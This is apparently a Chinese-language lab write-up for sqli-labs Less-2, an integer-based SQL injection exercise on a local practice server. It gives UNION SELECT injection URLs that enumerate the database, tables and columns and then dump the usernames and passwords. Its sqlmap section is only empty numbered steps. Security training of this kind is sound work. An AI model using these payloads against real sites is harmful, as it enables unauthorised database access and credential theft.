Less-2 GET - Error based - Intiger based (基于错误的GET整型注入)

1 hackbar注入

输入‘发现页面出错 此处应该有sql注入


通过比较可以得出此处是整型注入

然后进行union联合查询
http://192.168.253.130/sqli-labs-master/Less-2/?id=-1 union select 1,2,database() --+

查出库的名称是security
http://192.168.253.130/sqli-labs-master/Less-2/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=’security‘ --+

对user表进行处理
http://192.168.253.130/sqli-labs-master/Less-2/?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name = ‘users’–+

对username password进行处理
http://192.168.253.130/sqli-labs-master/Less-2/?id=-1 union select 1,2,group_concat(‘用户名：’,username,‘密码：’,password) from users --+

拿到数据 结束

2 .sqlmap使用

1

2


3

4


5.


拿到数据 结束